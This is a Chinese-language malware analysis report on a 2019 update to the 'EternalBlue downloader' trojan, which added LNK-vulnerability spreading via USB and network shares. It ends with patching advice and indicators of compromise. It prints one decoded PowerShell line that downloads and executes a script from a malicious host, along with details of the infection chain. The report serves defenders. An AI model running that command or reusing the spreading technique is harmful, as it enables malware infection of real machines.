永恒之蓝下载器木马再次更新，新增移动盘及网络共享盘传播

概述

腾讯安全御见威胁情报中心检测到“永恒之蓝下载器”木马于2019年7月19日再次更新，本次更新新增了“震网三代”漏洞CVE-2017-8464利用。

更新后的木马会在用户所有的可移动盘以及网络共享盘上创建大量带有漏洞的Lnk文件，导致其他使用该移动盘或共享盘的机器可能感染木马，容易成企业内部的大面积中招。

更新后“永恒之蓝下载器”木马主要特点：

1、保留了MS17-010永恒之蓝漏洞攻击、SMB爆破攻击，并在在攻击成功的目标机器上植入旧的攻击模块ipc.jsp。

2、新增了MsSQL爆破(PE攻击方式曾使用过，无文件攻击首次发现使用)、Lnk漏洞CVE-2017-8464利用攻击，在攻击成功后的机器上安装计划任务执行Powershell后门usp.jsp，通过计划任务下载新的攻击模块if.bin。

3、安装计划任务后门时采用随机名和随机位置，对老的计划任务Rtsa进行清除。

变种木马攻击流程图如下，其中橙色为新增攻击。

详细分析

本次变种利用Lnk漏洞攻击流程如下：

Usb.jsp通过多层下载得到if.bin，该文件为Powershell脚本，会被安装为计划任务持久化。

if.bin首先检测可移动盘和网络共享盘

然后在目标盘根目录创建Lnk文件和二进制木马文件进行感染

创建的Lnk文件名以大写字母D~K开头，如Dblue3到Kblue6，感染效果如下

将特定结构的数据写入Lnk文件，使得在存在漏洞的机器上，只要打开该目录“看一眼”就会触发漏洞执行blue3.bin/blue6.bin。

blue3.bin/blue6.bin运行后，在其他机器上执行脚本进行感染

脚本解码后为下载执行最初的Powershell代码usb.jsp：

$lf=$env:tmp+'\kdls92jsjqs0.usb';if(!(Test-Path$lf)){IEX(New-ObjectSystem.Net.WebClient).DownloadString('http://t.zer2.com/usb.jsp');new-item $lf-type file}

“永恒之蓝下载器”木马历史变种版本回顾

安全建议

1、MS010-17 “永恒之蓝”漏洞

服务器暂时关闭不必要的端口（如135、139、445），方法可参考：https://guanjia.qq.com/web_clinic/s8/585.html

下载并更新Windows系统补丁，及时修复永恒之蓝系列漏洞

XP、WindowsServer2003、win8等系统访问：http://www.catalog.update.microsoft.com/Search.aspx?q=KB4012598

Win7、win8.1、WindowsServer 2008、Windows 10,WindowsServer2016等系统访问：https://technet.microsoft.com/zh-cn/library/security/ms17-010.aspx

2、CVE-2017-8464 LNK 远程执行代码漏洞

参考微软官方公告安装补丁：

https://portal.msrc.microsoft.com/zh-cn/security-guidance/advisory/CVE-2017-8464

3、服务器使用高强度密码，切勿使用弱口令，防止黑客暴力破解；

4、使用杀毒软件拦截可能的病毒攻击；

5、推荐企业用户部署腾讯御界高级威胁检测系统防御可能的黑客攻击。御界高级威胁检测系统，是基于腾讯安全反病毒实验室的安全能力、依托腾讯在云和端的海量数据，研发出的独特威胁情报和恶意检测模型系统。

IOCs

Md5：

FFEB6DC402F37542889AE2D17B0EDDF2

F1BF55BA24D1A05E80A7CA1D6774AB3D

9ABFFFAF7A4877C9187C3F8A6E59B065

URL：

http[:]//t.zer2.com/usb.jsp

http[:]//t.zer2.com/v.js

http[:]//t.awcna.com/v.js

http[:]//t.amxny.com/v.js

http[:]//t.zer2.com/v.jsp

http[:]//down.ackng.com/if.bin

http[:]//down.ackng.com/m6.bin

http[:]//down.ackng.com/m3.bin

参考链接：

https://www.freebuf.com/column/200241.html